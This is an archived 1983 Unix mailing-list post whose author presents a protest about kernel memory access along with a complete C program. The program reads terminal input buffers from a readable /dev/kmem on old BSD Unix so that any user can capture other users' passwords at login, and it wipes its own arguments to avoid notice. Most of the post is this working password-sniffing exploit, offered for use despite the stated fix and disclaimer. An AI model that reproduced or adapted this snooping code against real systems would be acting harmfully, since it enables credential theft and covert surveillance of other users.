A Program To Allow ANYONE To Crack Unix (4.1 and 2)
Perry Kivolowitz
perry at sbcs.UUCP
Fri Nov 18 14:14:06 AEST 1983
Greeting Programs!
A while back (has it been two years? Jeez I better find a bathroom) some
students at BERKELEY got into the news with a SO-CALLED crack of the
unix (tm) operating system. That was no crack! What'd they do? Kid stuff
playing with terminals which have a ``transmit-line'' facility.
Below is a real crack. I am not claiming it is a new idea and,
actually, I send the following only at the prodding of some friends.
In fact, I seem to remember someone sent something like this before
(about a year ago) which produced a horrendous torrent of mail to the
net about the merits of having a readable /dev/kmem.
Anyway, the following program accepts as arguments a major and minor
device number specifying a terminal. Kernel memory is then probed,
pinched, and bullied into divulging the raw clists of that terminal as
the clist is constructed.
The bottom line: ANY USER CAN STEAL ANYONE'S PASSWORD by simply listen-
ing to the terminal as another user logs in.
Some implementation issues are discussed in the program - for example
race conditions between the snooping process and any process running on
the targeted terminal.
Note: The Rick and Lory mentioned below are my good friends
Rick Spanbauer and Lory Molesky who are (repsectively) our engineer
(choo choo) and system administrator. They are mentioned in the code as
a joke since they always go through my files to see what I am up to.
ASIDE: I would like to make clear a sort of ``You kids at home should'nt
do this...'' message. System administrators (and BERKELEY) should modify
the getpass system subroutine to operate in RAW mode. This will plug
the hole that this program creates.
I send this program for two reasons:
(1) The present kernel access methodology is a crock. This
submission is a ``protest'' is this respect.
(2) I hate the way the media makes a big deal about children
playing with computers. ``Hackers'' they're called. My
ass. I'd love to be interviewed by the 6pm news about
computer crime - they would get the real poop on the
matter.
Also, I am protesting (in a mild way) the way I am treated at
Stony Brook. I, because of my knowledge of the Unix kernel etc etc, I
am consistently blamed any time so much as a phone line garbles a
character. (Get out your violin please) Really. After getting Unix to
work on eight vaxes and an odd number of workstations all with
nonstandard hardware (for no pay) what do I get? All my bennies revoked
thats what! (Enter John Belushi) Am I gonna take it any more? NOOOOOOOO.
Any site out there who appreciates a competent Unix kernel hacker should
feel free to drop me a line. I'd like to finish my PhD (or get a real
salary) some place where my talents will be rewarded. (paranoid
schizophrenic flame doused -:)
Again,
This is a protest. NO PERSON WHO HOPES TO EARN THE (true) TITLE
``HACKER'' WOULD EVER (EVER) USE THIS PROGRAM FOR MISCHEVIOUS PURPOSES!!
(what crap - I really don't want to send this anymore due to its
volatile nature but I spent all this time typing - oh well - into the
breach, dear friends....)
P.S. Everyone who has seen anything previously submitted by me should
now by now that I do so in a good natured, sarcastic way (ie I am
beginning to think about all the flames I will surely be receiving).
Perry S. Kivolowitz
perry at suny-sbcs@CSNet-Relay
philabs!sbcs!perry
allegra!sbcs!perry
------------------------------------------------------------------------
#include <stdio.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>
/**
*** Comments have been added to assist Lory and Rick when they
*** come screaming through my files. Hi Fellas!
**/
#define NDZ 1 /* should be gotten from /sys/dev/dz.h */
#define NDH 3 /* should be gotten from /sys/dev/dh.h */
#define DZ11 1 /* major device number of the dz11 */
#define DH11 12 /* major device number of the dh11 */
#define DZ_X 8 /* eight lines per dz11 */
#define DH_X 16 /* sixteen lines per dh11 */
#undef major() /* need to do this because of kernel */
#undef minor() /* macros used to strip off device #'s */
static struct nlist nl[2];
static char *name_list[] = {
"_dz_tty" , /* base address of the dz tty structures*/
"_dh11" , /* same for the dh's */
0
};
main(argc , argv)
char **argv;
int argc;
{
/********************************/
int major; /* place to hold major # */
int minor; /* place to hold minor # */
int board_type; /* tells me which kind of tty */
int fd; /* fd for memory */
long offset; /* how far into the above tables*/
struct tty ttyb; /* place to put the tty buffer */
extern char *calloc(); /* our friend calloc */
char *p; /* destroy the argv's so noone */
/* can see what we are doing */
/********************************/
get_args(&major , &minor , argc , argv);
check_args(major , minor , &board_type , argv);
get_name_list(board_type , argv);
open_memory(&fd , argv);
for (p = argv[1]; *p != '\0'; p++) *p = '\0';
for (p = argv[2]; *p != '\0'; p++) *p = '\0';
offset = minor * sizeof(struct tty);
fflush(stdout);
fflush(stdout);
while (1) {
read_tty(fd , nl[0].n_value , offset , &ttyb);
get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
}
}
/**
*** Much monkeying around was done before I settled on this
*** procedure. I attempted to follow the c_next pointers in
*** the individual cblocks. This is friutless since by the
*** time we do the second seek and read the information has
*** been whisked away.
***
*** So - The LIMITATIONS of this routine are:
***
*** cannot read from any tty in RAW mode
*** can only snarf first 28 characters (ie
*** the first cblock)
***
*** Nice things about this routine:
***
*** only NEW characters are echoed to the output
*** (eg characters in the cblock which have been
*** seen before are swallowed).
**/
get_clist(fd , cl)
register struct clist *cl;
{
static char c[CBSIZE];
static char *old_start = 0 , *old_finish = 0;
static int old_i = 0;
char *pntr;
int tn , in;
if ((cl->c_cc > 0) &&
((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
pntr = c;
lseek(fd , (long) cl->c_cf , 0);
read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
if (old_start == cl->c_cf) {
in -= old_i;
pntr += old_i;
}
if (in > 0) while (in--) putchar(*(pntr++));
else if (in < 0) while (in++) putchar('\010');
fflush(stdout);
old_i = tn;
old_start = cl->c_cf;
old_finish = cl->c_cl;
}
if (cl->c_cc <= 0) {
if (old_i != 0) putchar('\n');
old_i = old_start = old_finish = NULL;
}
}
/**
*** The rest of the routines are very strait forward and
*** Rick and Lory won't need comments.
**/
read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
{
register int i;
lseek(fd , base + offset , 0);
i = read(fd , buffer , sizeof(struct tty));
if (i != sizeof(struct tty)) {
printf("unexpected return from read\n");
printf("should have been %d\n" , sizeof(struct tty));
printf("was %d\n" , i);
exit(0);
}
}
open_memory(fd , argv)
int *fd;
char **argv;
{
if ((*fd = open("/dev/kmem" , 0)) < 0) {
perror(argv[0]);
exit(0);
}
}
get_name_list(index,argv)
char **argv;
{
nl[0].n_name = name_list[index];
nlist("/vmunix" , nl);
if (! nl[0].n_type) {
printf("%s: couldn't get name list\n" , argv[0]);
exit(0);
}
printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
}
get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
{
if (argc != 3) {
fprintf(stderr,"%s: arg count\n" , argv[0]);
exit(0);
}
*major = atoi(argv[1]);
*minor = atoi(argv[2]);
printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);
}
check_args(major , minor , board , argv)
char **argv;
int *board;
{
if (minor < 0) {
bad_minor: printf("%s: bad minor device number\n" , argv[0]);
exit(0);
}
switch (major) {
case DZ11:
if (minor >= NDZ * DZ_X) goto bad_minor;
printf("DZ11 - Unit %d\n" , minor / DZ_X);
*board = 0;
break;
case DH11:
if (minor >= NDH * DH_X) goto bad_minor;
printf("DH11 - Unit %d\n" , minor / DH_X);
*board = 1;
break;
default:
printf("%s: bad major device number\n" , argv[0]);
exit(0);
}
}
More information about the Comp.unix.wizards
mailing list